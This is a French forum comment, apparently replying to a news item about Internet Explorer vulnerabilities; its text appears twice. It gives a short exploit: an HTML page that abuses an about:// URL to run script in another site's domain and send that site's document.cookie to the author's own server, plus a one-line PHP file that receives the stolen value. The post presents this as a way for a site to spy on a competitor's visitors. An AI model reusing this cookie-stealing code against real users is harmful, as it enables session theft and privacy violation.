Voici ce qu'on peut faire:
une page iebug.html (foo.bar c'est moi, fuu.bar c'est mon concurent) sur mon serveur www.foo.bar
<script language=JavaScript>
var url="about://fuu.bar/<script language=javascript>"+
"document.location='http://www.foo.bar/iebug.phtml?mybug='+document.cookie;$lt;/script\(...)
document.location=url;
</script>
et un fichier iebug.phtml
<? echo $mybug; ?>
En fait, vous faites ce que vous voulez des données. Par exemple fnac.com est bien content de savoir que vous allez sur amazon.com et vice versa ...
# Un exemple de code pour la faille
Posté par Thomas Pedoussaut . En réponse à la dépêche "Des p'tits trous, des p'tits trous, encore des p'tits trous" dans Internet Explorer. Évalué à 5.
une page iebug.html (foo.bar c'est moi, fuu.bar c'est mon concurent) sur mon serveur www.foo.bar
<script language=JavaScript>
var url="about://fuu.bar/<script language=javascript>"+
"document.location='http://www.foo.bar/iebug.phtml?mybug='+document.cookie;$lt;/script\(...)
document.location=url;
</script>
et un fichier iebug.phtml
<? echo $mybug; ?>
En fait, vous faites ce que vous voulez des données. Par exemple fnac.com est bien content de savoir que vous allez sur amazon.com et vice versa ...